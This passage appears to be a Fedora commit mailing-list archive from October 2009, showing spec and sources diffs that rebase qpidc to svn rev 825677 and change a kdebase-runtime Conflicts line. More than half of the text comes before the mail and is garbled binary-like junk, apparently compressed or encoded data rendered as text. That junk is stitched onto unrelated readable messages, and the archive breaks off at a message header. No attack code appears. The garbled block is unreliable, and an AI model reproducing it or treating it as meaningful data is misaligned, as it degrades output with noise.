???M?????Y?Z?`???????A?????;j]BOC?QI????Q???N????q?^3P?\??????.??")v????M???aZ?a?!E??d?,??????H??,??7????a??4p?yA??l?PZ????92/?>?A??|?????=G????s??;r	?P5??;?z?H>h0?JA
I?/Z?3?|???o?g?h??
???/?
?
??D?U?U?????.1p???LL?w??8??????8A?W???0?,Ck05?mO??Y??i.?$K?!?c??N0???S??L??O3B!???p?&?JGr?	???.y`??n?e?g?B?
??5??}d?I?}?|;??<?????j?????2wN?Ai?gE!?\q*>???s?X??,???p??????????0%9??
?"fA???@?p??4V6??jW1+"f??J???>??I?J^?????{G??ul????LF??????#n?HI'???i1?g????X??????	c#??(???)?a?^?!????pR?K?
?[?k???4?$??,<?EKf?p??9p;?H????NUS??<J&7N7s5???%??L???A?B?????)S?Q153?G=	%?h
^?P
?F?s?????s??p?a[8U+H??<3's????	D???H????F?jw?rf?8???R|?$??????Y?????,Dh???+?>M?C????1?????????o?_??
??/<??*?h?y??8=c?j]???????????9i?? q~"?=y~???'R|>
?pq[a@?t?Z??=8??F??N??r??8F?????m??
JR?l??l??li??
???c??&??OpX?R??9A?p	7?,?5??
=wwAK???*???E?u8/???Yl6?1k??IE?Z?Eu????Y?%?
?`??[Mp?H[?Ji?=u???y:??K???2|&?tc??m?.????2????<)X/?)/G=??\?N?X90?$?C?kt?Q1E?I???Rr?FrMK? ??4?;R?L???
?C6?BF?h|U???0_??hF_??xm???:?<??xeI?q????????R?|?Nz(?N?L??"Z)?9?????G;?_o:??|???
????3?F-oK???????m'?{{???????=????:PpK M@Q?A?
>$3???
?A2a?H?=???X?n????TwH[?N&t??????????#?-??8&:T??b?i<?b????o7?G?L?0P<?
?4?!?!{?z???+?????LA?w????/??qx?S_??ju??j?????D??3?b???CD??&j??!
c
2Gr?????R&?2??E`?j_(??	?Df??9??-?[??@??u??T:?(^?V?:?
E??~??u~!o!<?23B?D?
????
????xxw??!
??$Ln??????|?x[]??k?+???*^?????????
?#c{??RGg0????
?8??n6F?/??*??H?.s???9?P??-9"b?=??? q;???>??%????a?????f?".*|??O?????
?_SOfk???i%Z??P4?,q?AH??$?4t?%8gw
F8??3??C?0??Y??*??D'?????????M?^??_c?Y?%i???d6?ZYg???8#?7???h???7??b?X<?]?/?{??%??????????y??c,?.s:????E?U?? ~?z??,?}>?tw.??!7|Hm??.?SO?n?G$???V*??~M?\?ki$>?,?
`??S??????g?W????????If?#K?<T?????\_F&c?"f?c??o?????/?}???|?XM???V"}??5??R?K???|????/???0?654????U????d?????l2??Y??EM???>b??s1K2dNt.k?0.??
????{?FhGD?<???c]?D???0????=??>?/?c??{???9X<Ng??&??#??9;??/oCeEN?H???E?B?_?W??>?0?b??PK

=?#	I??Wnq]???q9w?zs=???c??qX?
?v?+?:???>????a?T7????#g???)???????-
???c?????nk?1?
q?	?SY?H????\?9?r+D_?l???N??DJ?4c{M?????m????4Bo??%;^?bip,e????n??'?D@~?c????i??AY9jE?:??
?f?I??r??? 73:}wF??;1K???cX"?|s\?ek????9*?pY6???????o??=1?+"m?Dy???????C??1???h?ogwWW???~W6????^'pR?[C?C???v?m4?7??????hL????H??$OC
??,?m?Vl????0=r?&i??q?'H?r*,vm????d]\\??
????A7$??}$Z3????NoF??????>s?hi??????????@Pd????V?!7+p?
? x?w?.q???K	SP?&`?7?1k??O?????????????J?+?p?px"@?h????G??????T
?*f)???'^D?}?y???????q?? V????{?
???(v?H??z???3?
??(	???????4?=??<YC????tlYP??3??G;??N???Z????E??X?$??0??Q'BgGy??R\`???E06F?@ip%EHoLf?????o?cqa????^R????-??>?n???Z???6E?N??)?????UhFi?b1??5?K3Q\s????dBs?P??L?@q??G?????ea
8??f/?:v?q]???
?'???v?_????????u??5??xZI?!?S??E?!?S?(d/?N??R??,?F=?g?z?]c8????eI??5T|??8u?
+R???C??z)W?V]?mT?k?eQ2%?
???.??Fu???o??????7m???0??U?fk p-????V????????/
s0??;9<?n$??c~?????O?,Mu?b?Y
}DDEURlDV,s?	??[??????n?r?6???????#???b?M?m?P?Sd????hGPZ??Y???\??X??Wn]Jh???d!_???X[?X?c???0B????
 )??0?)?
y????Hb??,9??v??[??????????2?<?Mo?_?????}???/?>~
?f
???_?????_n)a?????4j????_???_ w;?-??i\?9?
?????%|?u????|TH????a?G???{D?o?????;N"??-??0L????}?5??|;7i?1??????br??????|??
??????e,??????v???????c???z??':?b/?+?_???????????g?
??s}
 /2?-?F?qv??
???X2?????P???S~V?d?ct?F]???????????QG?P
???')!??$h???J>?????=?m???K?>???????<?O?R?V~????K.??????[???|??yEh? /??m?[4?C>&3??A
)tPC;?N2??????????????????j??j?k?+kZ??????????!?p??ddk??I*&?9mHd?'A?Ue;???????R?????m???bb??(? cj?iF??????\??!Y-_S'?d?sI?3 /R?P8?T?V(?Im?*?o/????=???4????]??R???????M?>????N?v??LZ!#-
3bW:?(?}?V??;??U|I??MoVV?c*cIQ??:d.?????0??8?B?{v??2\????
g?????ti?!w*??[E?'r(??
??i????Ln?HF?C???gg??????R?a??r????bz???????p,??T???X??b??j"??C4?D?b???T_R???W???????x?9?9U???mzu?%}??=????C?yN???*(???3<U??K!N??[?X????O?02?nH???a_???????I>?M??{fO
Us?C?C??V????(??????	t??i?DeS???????\?????L??N????#?\?????q?:?Cw???l?N??@~???aT??v???bd??a??7E?L??Rp??'?H??Qxo????????^(?
????d?<??\????FN??z
??????????\???????????W7??????_??????|Y????:5??????fPuJH)???Ku??[!N:?]?X????O?02?nH???????wj?????D{~;v??????R???A???}?5??^???????????|?????sz??[?.??^9?_)??{\?t?n?@?7????*
?????R??k7?o????T??????p<??????{??q8????GC{??q4????'?z?=?????cz
?q4?????y\?????8?&???Sm
W??a???z
u?????v?q=7G?(Pyk?D?1?sk?N???
?t)??!"?R
0??!g??L?????>???4}?|????????3'???5??]]
?5??h?lV???B????j?p??q1?[?
{u'$@^$$2s*n???$;???R?=??0p@D@$/XV??G	??G?m`c??Q`?`?^k?"?????????R!?WF
???????;??D#?8M??????*??s	??}?a?_`m'?:????V?s?n??|?????:??9????g?????????y%??a??????<
??WH??HH"?)n??Io????
\??|9H|?-?/?+????????-Rtb??? ??????K?Pf????j?p??q1 at Q?.?
z???JFkd?-???2?2?2?2ba!)!)!O2?-?F?qv?? )!O?j??N??????r\??????pO?k]^+??i
{}'$@^$dP[?????????
????#??????j?p??q1?K?(???'?g2?r??
?Lx$?????O$??C???????Dx??
~?<!>F???????u?;z]R?z?g??(?y??o<?C?;V??S?	?*?????]?1??0#v???`??1r??IiL?&L@"??W??2?S??????lbL???=E?)=e?_#'???F???0=[}?^???$e'!7??I?K"#?)
#??H?
b?%;o~	9??b&/?XI??????2?	?n?$??)I?4?q????g\?3.????Kt?%9???qi8??q????g\?3.????Kt???.X?0;E?)?0/Y???2:?P?H?Ba
1P?????????r??W?VW?@??[??#<c?+?7?%CZ?ZYB2|??f?(???~f??L????????sC~?????f&????d#[??????`D?HZ??J$R?p??X??+$@^$??Q4?c&"??X(?$????-g?{?*7???:kbC?i???w??o=??{???5??3.?X?n???????N2?G?."???ld??????|?????3??d?>??w
?O???s`?n????
??-?kc?$Q????e??!????9??r?l?/??O??1c?x?u?h??K????[??8S?????qJF???az6???zVu?m????B?t??Z??8?H?4???U?b??IJL??$h??>?????I
?q?6V???P)
?%Dj?6??	?@?}??H??5??I?crc2???V{t?g?/?C|u|/????8?????^?KCyi??E???yP<
?w??s???k{?K????`,m??????9??qm?s[??????????>???Nmpm?K\?????7?????5???C#S? ?1w)?"?y??'p( 	Oe?BG???+
?l????l?D5
??0?.???x?SAZ?
t?r?t???R/^!
?"!???",f?0?R???vH????>#??&?x#a??????+??]?????w?'???%??O???=sy?.	~g(;J?(}??<k?t?L?wn?^???1?????7?`J??=?#d??Lm?Lk?<	33?|9?]lKUQ???????"?i??-S
??|?Z??j?7???z???p:?r?
k????(?Q????????K????
????
???????????Wao??UqO?Sa/?Q=T?+????\/c??Z?c
?6X??m~??9??g]??G??|??R/????}t?CQ??????	{?????
ov+
???ab?f?1??89?Ix?*:]??-???	??#P???9
??????^N??:
??<s[??K?}??J?????H????????HL?#1=???8??HL?#1????}$????^Fbz??y$????Gb?ia?`A
f`A2??~????C?????(%????e?? ?q??????\???&??s|[??Ou?Yg?o>??L5??_D=????\????d?B??%xP[???<??B
+
|:???E?N? ?Q?)gR?S??[??t^=???YAN?@?V??+?	EoCoD????F???!????15o??j?p??q1???D?B?<?3)?3)r????$#?p??????}B2?#ti_?]i?0??l??$jR????+??O?Z???B?k?[7??-S????][?????{??.??<
?DW?$??D????!???????????????p??q1?c?k{Z??<7z????u?|}?&v6m#??`/m?6?	?????t!v???`??1r??IiH?m?? ?:`???{s:??u?=????60??????'?R??>???+?
??B???
h@?Qz?H????
yB]???????|?cRt4??rOs?=N*?<????r???=O,?:???????{?\?yv??????{?`??A???
?uq?=o???K??wc?uh????
?~*??!??T
0??!g??L?? #????yZ????h?F??.??e?<???yQ4?k?y]???<.??e=4???y^
??bh?B?A?3?~??\?????y1???cR912??1??&??K$;J?(}$?&L??M??J????????t,?R??]????{??za??f?^?I?Q=?F?<??lT??Q=?F?:????g?z???y6????g?z??zD?d?"(
?LD@?+	@B ??Vj?%C?QJF?c?a??z?s??&p+??03P???bk?R?,??(V?c*???L????l$??0????sbJ?8'"{$k)d? /R?!????fN??!?c6?`C
6f`C??F^???Cq?J?;?
????????`?W??/;???cX??????t?9aO?V
?P4?2:`+?????$e??WrI???g?9???9?0??V?Y??i??;???|???????????X??????Z?????????&q|?-p??G?5q??P????q?<!G???c{????P???????????X??O,?????7m??4ao??*??5?????????z??u??X????Jo6?aS???ox????q+
????? B_A???H}??
"?D?+?G?7????3???Ld6?2????<I??? 
??C??R???e??1%|?q!??eGX	??8
y??AmA4??3.Y????>?C??2paL
?1p!?l?*????' /2?-?F?qv?? ?2~=~??)?	???t
"pC'H?l?<A? ?O??'H??S#?8;?b???'H?$??.?\??B??????^Tmr?????J6?JF????dt*??
?f?S??T2>?LO%{?O??????A?O%{???l????B???Z?O???z8?tl??c#R?F???H;6"wlD??????c#j?F?;6?tlD??????c#b??r????2o?N?S]?85??UIZ???)Z???????Y??u?PA??d(;J?(}?e?0????????V????????????tW??=?Y?k g?1??5M????
?!??M?	???j?p??q1@??7?`??@????rD?E.?y?@?u?8<?!4??`x?	???<?ve??F?q???!O0V????k??_#R?F?~?H??5"?kD??????_#j?F???5??kD??????_#b?Ftv,????g??m????QnOUtU:?^??y??????U???(t??????{bv
??oH!?>(t??i???? %?v?=w??v????G??3\????|?_?P?&??Un?^{~?6X??|???????~????r??k???O|X6?w)??
a?A?:???P??R??F?c~?W????????:?????P=:_?J??????????????????????
?M?????
?
??&&?0q?/J?2r?0y??w(??????E=-????q*?	?zi??1???F??
??P6??K?XR???f??+?q?e?n?M+??8mH?Qg??-I?K?\&?J?Tc?,?#???~?0?3??8???*?/LBQ
)?@A0????8???_H???eX=??????WN??????^x??K3?2????)vC?#????xaL
C?{v?n?ew?y7x???L?G?=!M??D??8T?.??R2Jk??a1H??'um{B?&???????{}??=kW????????2??
*?w
???8!CMW?????a?G?9I??4????
?DBc)^?(*C???NDn"a]X??I?8T?.??R2JY?????lZ?a??5?ld???lT?M*?]?Hv??Q?X?M??6M?G?W}????????H??G?e????p??K}$Z?#?B???H??G?U>???G?e=???hQ?Dkz$X?#??i?#??8=?????]??~?$?gO?$?gO|?$?gO|?$?gO}?$?gO?????=I???D_;I???_;I?????A?gQ??????S?
??j?????`~??N?M?K????z0??Jx?R5???YI????I??????3?3?:?????At?Pv??Q???????
??1?rk?}g
0??0Y??^tq\??u?]9h??+??s?Azx?m1?$????h???
.?z?????
??p
??p
????p?L?????j?p??q1Tv?(U???P?5?yK??u?Bv????v?|?4??_?=h?z?]??#6dbCd??X?h(?
e??????#3+R-+
e??????j?p??q1??:Q??T.??h?5??Y???*??b??b??b??b???F?qv??xY?G??f{?
Go'O?9x+y???FV
???')1q4A???~??[7??!????cd"?r????E$-4??PF?i? ??(?T},?^k??k|?5??R????U?????]uMBq????FR??]@X??6?p?=n??????N7?????x??x?=oEC;f?????7??F@????+m[?n??^?K????6p?m?N?}????>~j#?+??1?y6s?T?????.??>??????z?C]??P?q??"9??66????X??????At{???*BC??A?EB????????]? ?+????????N???8???(?E?)?-?o?x;??!?
?F?o?x?[ ?
qd??G?sd??1G??rd?#C?L82???#C??8???}SO!?L?WF<???tx2??<p??
?q? v]2??d?>r?'L?????IJ4GI?(?%?????pz?N??I:7?OM??I21??%??$?????Jn{?O

 w8?????]????@t??a?P*???~??B??=?[

???ag;?????f??'5.??D??w*BC??A?EB??8?????A
H??{j]???oJB?^?		?	?D#?8;?b:'??/L??,H??,H?BFX??/T?2q? v]2??d?>V?L?????G???????h?61y`&5Y??DNfC*3#??	???j?p??q1?S?(????????}?????3?N<????2N|?P???BC??
	?	?|??v??-??-??-?R????V?{c%5?Z??6??,w???l2E?k???&Hu?3?hz???
2??????!?0? `??lZ(?????BF??????Ti???n?4Ww???+??]q???suW????\????]q??*suW????\????8Wwu??qKj??+?u???J_>Y??'+}?d?/??????|???OV????_>Y??OV???*_>Y??'+?d?/?????U??Z?e?VZ?k?e?VZ?k?e?V^?k?e?V^?k?e?V]?k?+{????*+{?????+{?????+{???'???.?3?D???Z{??6n?m??????qko????[{??6i?m??????ako????9???I}?????-Q??G??A??????!4?2???O?JH?????v&?g`?R??C?&,??H???6???&???+?~Dx?oo?	??? ???7?~???????7?x???????~9x???0	E9(?0	????2:?PR:HPx???]?????????N?tp???S6?????
?l48e??)
N?hp?&?S?{p??S6???????l08e??)2?y???Qe|???w?4?y???r?	]L?r????F???]??{???-???E???????????[
z????d6
???m?a[?H??B???K?i?8?f\?W?vW=???-5?7}????????n?ju?w??\????F?W7z?????~???+????n??u????f??=??PK
H$2?L`?????bQ,~?lS?4???Pk???????L???IW?/?6u?7M????:?????N?A?|i??6Fz{?????6????????.}?????`?v??6^?B?l?^h??q\a
-?????b?L??	1??EiS???,~i?????????Uz???6<w?u?????O?????M|???U??R0?ic???b????t?????F?
??Y1(O?X?Y8gM?r?????E?2i?(c?
?r????????#????wW??`??~]?~h??@H$???
?$???=??I?m,??Xj?o?a6=????ze?-!?d??^?nE?????j??^??v??????????_????}
????????g\\??~0??c?5?j\,.???
?]\??at}q!?-????x????ZD?0j??
???F[?C???Q#*??(t????j?j@/??????????:I?^?h????3+.??_.?:-?t?6q????~?{??61??7???K?j?D?'Y?????34?4?2R?/{??}??_?h?k???Bc?1"??Z??F??l??????xU??*??????eB?$?K????n?u'????e??{l_?V??^
?
<??P?|?6O???/#???:{$b.??????*??`?7;?l??f[???t???\??
???r?C??i(????4<?!U? 
????7}??'????Ku??&?????????U&?nX	Z
a?<?_;?M???M??????V}?????|?)????mu????u??D????A??b???]???R?Y??
O?x?e????7???
?q?

TuR????	9???
??C??AH??d?ce???JiM?C%??B?
??
Q!?????????/*WF???T?jC#2%l?????3???????R?k?I8qk?F??
????k?%
?e0???u??U?	f??y??B????cI?q????I???=\?4?R???
#M2??8_??????????6?%T???{;J?aI???????N?
??N?1?5i??wK?T?A??????
k!3?UN?Y??cj?k?D??]x4???!Z??6???
y?????B
\&??%c??????HB ?
D??O:?DJ\???z?|?j'?\?
>????????f(?t?{+?K
?t???0?403LYA?,>??Fy?y?I???E????-??????k????Fz?wHF<??'?,l=?"?????O5?=M???`Z)f#?L(?I?i??2?=??:??????U??~&5??tf?C?)\ jv
Z{?!???[X??n???#	?y&??-??*
????f?1V?SM-??B?(???
????D?N?;?r??Isl;?6??????
B?????F?N??`@????4???9h????G?S4Z?9fTo?A=z??sm?%`I???&???2(u??I???6?>zOX@(??<??8??x4?r????j?,??)K?E?qm???L??>
????2??|?'??~hFf???0*Yu?,b???%NS5O?y??*Hc`z<????l?=Q??O????$>?)?"?I???"?%?
U
?s?k??XPC!?~j?`?????(:?
4??X???_????????Z??6?????????Kl?M?????*????B?Z???E??)??<?0Vf?C9	?k????RK|F5{?L???ph??{Yc?:p??E???S<?d?"q?R?S_
J=#???P?1	??zF\??7??r!?k
??=?{?b(???:0????	??YgQKw?|????o?/???@i???,j{?2m\??tGm8??f?z

?9??-`????)???Y???"????Z;W?w??? 7z???? ?b????
*????O><????????	()r??5S|k??D????4>?
?;?
???M#?h??c
???xK?_w?1?p=??;4+A
T??????]>???H??X?\{??PfN})@c??:???M.:J?!F?-??m??`??i???M%??gW???
0s*?9'?te??Q?y?)?X??0?.???????t??C_A????b!=???5es????w???????bP=?E7??I;>,??X+?d$???T?|?Rt?m)'?V\B}_
)?D^?
P??7i]]?L??+\??y???@????LM????{??y???!?
?
uOI???"Bs?????3.~oBO;??l\z?9????
I?8,??[??!.?bG\.1?^?2?Z?5?????0?????2????????N(sob???'??RE????dF?_BCm?|??H?I"?G?u?s??
????&F?,q?06d?X)?R2?y??RZ<?<+?+??????k$?Lv???7?l???;?J2?x?????Zb??,d?????#??z???amJMR???1?	??5???!?z??W???kP????<???$??'#??^,d?f? M??]?O?hB?z??r????Wwd
?x??;;P`?'?????-?O??z_3?F???E?A`2???y??
j??.lc?????4YT?1Q???D?u?B}I??7R??Xt??y{]???5?uA??NG??S?
???r??G????t|????F??r????p??o??%?
????.HU??e?????z?^;???0???l?P?o?????????}?Y??}??y??g???d???0????k??2vt?N???Z=9'?}?.?Ys???Yn?^?#?Y&FxW??P???&K??,????3?????3q?)&?!?	????Y3?Pv
QI??s??8?????#?
?}BximZM????C?????4'd??C???Z?N?@(?V?DF%?,q????[??M?T??N'?&,?%?~????Z)OG????3?\Z???-??????w{?
?*MvE?`?njA]m
'??{0?????N??\/??	?????$a???2??PI1?????|??$?R????AH??kv=?F????
?p3.S@?3??l???{??L"?? ?4
??b?vI?Lc???gP?imN?Q<O)?L????????jk
??!/J?D>???`?a?8'??!??J?Y
????Hpu?????0?BDR?????	?U
Sg
?UFzt
PiJ??\????=fjK???nf?zr2?M)?N`????AUL?y???4?3?fb???c??V?m???d?`?d?Onb??q?"?>???Tvu?8?8?Pi????G?@???w?J	,???uX`<????????a????#???'??7???V[w?b N">P|>?[?G>$?=????3
rH???v:?????
?I?K????h??|?C???
:_???R?KR6/W????XI????3??? ???/m?????y????0F?W??8????^??
?H?????????L
y2*+NY???????L?LQk????
a?`?9?n%t??Io?K???
?Y?"b?^?&KJ
3@?<
??[?5????s7?0?>=u??o
?~:?UC'O??????????1??N`??:?.(??8_-e[H??kV????8?:$??"???C?G[?
????

?6FrC?[????=?sD?&??8?:??<?n4?!]
2e????68N???{???????u?5??????%?4?]?k68??SD??kM?{}?2???;N:?-??GK?L?H?)?????Lb?W?71????j??2D???(?+d?`??+b???
??Mg???gF??
u??eBb?(?d~??f????M?1.?????@	'?l??????????s?5????)???nK??M????-}|?\xU?PK
>0&l,??s??? ???u???????<?F39*?7???Y? ???F????}?i4????;?}6?Q???u????/??t???T`?t5^g
???PK






















From nsantos at fedoraproject.org  Thu Oct 15 22:08:03 2009
From: nsantos at fedoraproject.org (Nuno Santos)
Date: Thu, 15 Oct 2009 22:08:03 +0000 (UTC)
Subject: rpms/qpidc/F-11 .cvsignore, 1.25, 1.26 qpidc.spec, 1.90,
	1.91 sources, 1.47, 1.48
Message-ID: <20091015220803.4D39811C00DB@cvs1.fedora.phx.redhat.com>

Author: nsantos

Update of /cvs/extras/rpms/qpidc/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3768

Modified Files:
	.cvsignore qpidc.spec sources 
Log Message:
Rebased to svn rev 825677


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/qpidc/F-11/.cvsignore,v
retrieving revision 1.25
retrieving revision 1.26
diff -u -p -r1.25 -r1.26
--- .cvsignore	15 Oct 2009 13:58:20 -0000	1.25
+++ .cvsignore	15 Oct 2009 22:08:02 -0000	1.26
@@ -1,2 +1,2 @@
-qpidc-0.5.825492.tar.gz
+qpidc-0.5.825677.tar.gz
 rhm-0.5.3670.tar.gz


Index: qpidc.spec
===================================================================
RCS file: /cvs/extras/rpms/qpidc/F-11/qpidc.spec,v
retrieving revision 1.90
retrieving revision 1.91
diff -u -p -r1.90 -r1.91
--- qpidc.spec	15 Oct 2009 13:58:20 -0000	1.90
+++ qpidc.spec	15 Oct 2009 22:08:03 -0000	1.91
@@ -7,7 +7,7 @@
 %{!?ruby_sitelib: %define ruby_sitelib %(ruby -rrbconfig  -e 'puts Config::CONFIG["sitelibdir"]')}
 %{!?ruby_sitearch: %define ruby_sitearch %(ruby -rrbconfig -e 'puts Config::CONFIG["sitearchdir"]')}
 
-%define qpid_svnrev 825492
+%define qpid_svnrev 825677
 %define rhm_svnrev 3670
 
 Name:           qpidc
@@ -519,8 +519,8 @@ fi
 %postun -n qmf -p /sbin/ldconfig
 
 %changelog
-* Thu Oct 15 2009 Nuno Santos <nsantos at redhat.com> - 0.5.825492-1
-- Rebased to svn rev 825492
+* Thu Oct 15 2009 Nuno Santos <nsantos at redhat.com> - 0.5.825677-1
+- Rebased to svn rev 825677
 
 * Tue Sep 29 2009 Nuno Santos <nsantos at redhat.com> - 0.5.819819-1
 - Rebased to svn rev 819819 for F12 beta


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/qpidc/F-11/sources,v
retrieving revision 1.47
retrieving revision 1.48
diff -u -p -r1.47 -r1.48
--- sources	15 Oct 2009 13:58:20 -0000	1.47
+++ sources	15 Oct 2009 22:08:03 -0000	1.48
@@ -1,2 +1,2 @@
-a72b3660af43ccd0b989f630c9debf9a  qpidc-0.5.825492.tar.gz
+8d72760c6dac5205d6a89911fce95f03  qpidc-0.5.825677.tar.gz
 7c8dc2d88b457d612da845f8d196b6ec  rhm-0.5.3670.tar.gz



From nsantos at fedoraproject.org  Thu Oct 15 22:10:09 2009
From: nsantos at fedoraproject.org (Nuno Santos)
Date: Thu, 15 Oct 2009 22:10:09 +0000 (UTC)
Subject: rpms/qpidc/F-12 qpidc.spec,1.103,1.104 sources,1.47,1.48
Message-ID: <20091015221009.4117911C02A2@cvs1.fedora.phx.redhat.com>

Author: nsantos

Update of /cvs/extras/rpms/qpidc/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4964

Modified Files:
	qpidc.spec sources 
Log Message:
Rebased to svn rev 825677


Index: qpidc.spec
===================================================================
RCS file: /cvs/extras/rpms/qpidc/F-12/qpidc.spec,v
retrieving revision 1.103
retrieving revision 1.104
diff -u -p -r1.103 -r1.104
--- qpidc.spec	15 Oct 2009 15:44:23 -0000	1.103
+++ qpidc.spec	15 Oct 2009 22:10:08 -0000	1.104
@@ -7,7 +7,7 @@
 %{!?ruby_sitelib: %define ruby_sitelib %(ruby -rrbconfig  -e 'puts Config::CONFIG["sitelibdir"]')}
 %{!?ruby_sitearch: %define ruby_sitearch %(ruby -rrbconfig -e 'puts Config::CONFIG["sitearchdir"]')}
 
-%define qpid_svnrev 825492
+%define qpid_svnrev 825677
 %define rhm_svnrev 3670
 
 Name:           qpidc
@@ -519,8 +519,8 @@ fi
 %postun -n qmf -p /sbin/ldconfig
 
 %changelog
-* Thu Oct 15 2009 Nuno Santos <nsantos at redhat.com> - 0.5.825492-1
-- Rebased to svn rev 825492
+* Thu Oct 15 2009 Nuno Santos <nsantos at redhat.com> - 0.5.825677-1
+- Rebased to svn rev 825677
 
 * Tue Sep 29 2009 Nuno Santos <nsantos at redhat.com> - 0.5.819819-1
 - Rebased to svn rev 819819 for F12 beta


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/qpidc/F-12/sources,v
retrieving revision 1.47
retrieving revision 1.48
diff -u -p -r1.47 -r1.48
--- sources	15 Oct 2009 15:44:23 -0000	1.47
+++ sources	15 Oct 2009 22:10:09 -0000	1.48
@@ -1,2 +1,2 @@
-a72b3660af43ccd0b989f630c9debf9a  qpidc-0.5.825492.tar.gz
+8d72760c6dac5205d6a89911fce95f03  qpidc-0.5.825677.tar.gz
 7c8dc2d88b457d612da845f8d196b6ec  rhm-0.5.3670.tar.gz



From rdieter at fedoraproject.org  Thu Oct 15 22:12:06 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Thu, 15 Oct 2009 22:12:06 +0000 (UTC)
Subject: rpms/kdebase-runtime/F-10 kdebase-runtime.spec,1.100,1.101
Message-ID: <20091015221206.6F42B11C00DB@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/kdebase-runtime/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5373/F-10

Modified Files:
	kdebase-runtime.spec 
Log Message:
Conflicts: kdebase4 < 4.3.0 instead



Index: kdebase-runtime.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdebase-runtime/F-10/kdebase-runtime.spec,v
retrieving revision 1.100
retrieving revision 1.101
diff -u -p -r1.100 -r1.101
--- kdebase-runtime.spec	15 Oct 2009 18:32:23 -0000	1.100
+++ kdebase-runtime.spec	15 Oct 2009 22:12:06 -0000	1.101
@@ -5,7 +5,7 @@
 Name:          kdebase-runtime
 Summary:       K Desktop Environment - Runtime
 Version:       4.3.2
-Release:       3%{?dist}
+Release:       3%{?dist}.1
 
 # http://techbase.kde.org/Policies/Licensing_Policy
 License:       LGPLv2+
@@ -32,7 +32,7 @@ Conflicts: kdebase3 < 3.5.10-4
 
 %if 0%{?fedora} < 12
 # kcm_filetypes moved to here
-Conflicts: kdebase < 6:4.3.0
+Conflicts: kdebase4 < 4.3.0
 %endif
 
 Provides:  kdebase4-runtime = %{version}-%{release}
@@ -223,6 +223,9 @@ fi
 
 
 %changelog
+* Thu Oct 15 2009 Rex Dieter <rdieter at fedoraproject.org> 4.3.2-3.1
+- Conflicts: kdebase4 < 4.3.0 instead 
+
 * Wed Oct 14 2009 Rex Dieter <rdieter at fedoraproject.org> 4.3.2-3
 - Conflicts: kdebase < 6:4.3.0
 - Requires: oxygen-icon-theme >= %%{version}



From rdieter at fedoraproject.org  Thu Oct 15 22:12:06 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Thu, 15 Oct 2009 22:12:06 +0000 (UTC)
Subject: rpms/kdebase-runtime/F-11 kdebase-runtime.spec,1.123,1.124
Message-ID: <20091015221206.AFAB311C00DB@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/kdebase-runtime/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5373/F-11

Modified Files:
	kdebase-runtime.spec 
Log Message:
Conflicts: kdebase4 < 4.3.0 instead



Index: kdebase-runtime.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdebase-runtime/F-11/kdebase-runtime.spec,v
retrieving revision 1.123
retrieving revision 1.124
diff -u -p -r1.123 -r1.124
--- kdebase-runtime.spec	15 Oct 2009 18:32:23 -0000	1.123
+++ kdebase-runtime.spec	15 Oct 2009 22:12:06 -0000	1.124
@@ -5,7 +5,7 @@
 Name:          kdebase-runtime
 Summary:       K Desktop Environment - Runtime
 Version:       4.3.2
-Release:       3%{?dist}
+Release:       3%{?dist}.1
 
 # http://techbase.kde.org/Policies/Licensing_Policy
 License:       LGPLv2+
@@ -32,7 +32,7 @@ Conflicts: kdebase3 < 3.5.10-4
 
 %if 0%{?fedora} < 12
 # kcm_filetypes moved to here
-Conflicts: kdebase < 6:4.3.0
+Conflicts: kdebase4 < 4.3.0
 %endif
 
 Provides:  kdebase4-runtime = %{version}-%{release}
@@ -223,6 +223,9 @@ fi
 
 
 %changelog
+* Thu Oct 15 2009 Rex Dieter <rdieter at fedoraproject.org> 4.3.2-3.1
+- Conflicts: kdebase4 < 4.3.0 instead 
+
 * Wed Oct 14 2009 Rex Dieter <rdieter at fedoraproject.org> 4.3.2-3
 - Conflicts: kdebase < 6:4.3.0
 - Requires: oxygen-icon-theme >= %%{version}



From rdieter at fedoraproject.org  Thu Oct 15 22:12:07 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Thu, 15 Oct 2009 22:12:07 +0000 (UTC)
Subject: rpms/kdebase-runtime/F-12 kdebase-runtime.spec,1.144,1.145
Message-ID: <20091015221207.045A911C00DB@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/kdebase-runtime/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5373/F-12

Modified Files:
	kdebase-runtime.spec 
Log Message:
Conflicts: kdebase4 < 4.3.0 instead



Index: kdebase-runtime.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdebase-runtime/F-12/kdebase-runtime.spec,v
retrieving revision 1.144
retrieving revision 1.145
diff -u -p -r1.144 -r1.145
--- kdebase-runtime.spec	15 Oct 2009 18:32:23 -0000	1.144
+++ kdebase-runtime.spec	15 Oct 2009 22:12:06 -0000	1.145
@@ -5,7 +5,7 @@
 Name:          kdebase-runtime
 Summary:       K Desktop Environment - Runtime
 Version:       4.3.2
-Release:       3%{?dist}
+Release:       3%{?dist}.1
 
 # http://techbase.kde.org/Policies/Licensing_Policy
 License:       LGPLv2+
@@ -32,7 +32,7 @@ Conflicts: kdebase3 < 3.5.10-4
 
 %if 0%{?fedora} < 12
 # kcm_filetypes moved to here
-Conflicts: kdebase < 6:4.3.0
+Conflicts: kdebase4 < 4.3.0
 %endif
 
 Provides:  kdebase4-runtime = %{version}-%{release}
@@ -223,6 +223,9 @@ fi
 
 
 %changelog
+* Thu Oct 15 2009 Rex Dieter <rdieter at fedoraproject.org> 4.3.2-3.1
+- Conflicts: kdebase4 < 4.3.0 instead 
+
 * Wed Oct 14 2009 Rex Dieter <rdieter at fedoraproject.org> 4.3.2-3
 - Conflicts: kdebase < 6:4.3.0
 - Requires: oxygen-icon-theme >= %%{version}



From rdieter at fedoraproject.org  Thu Oct 15 22:12:07 2009
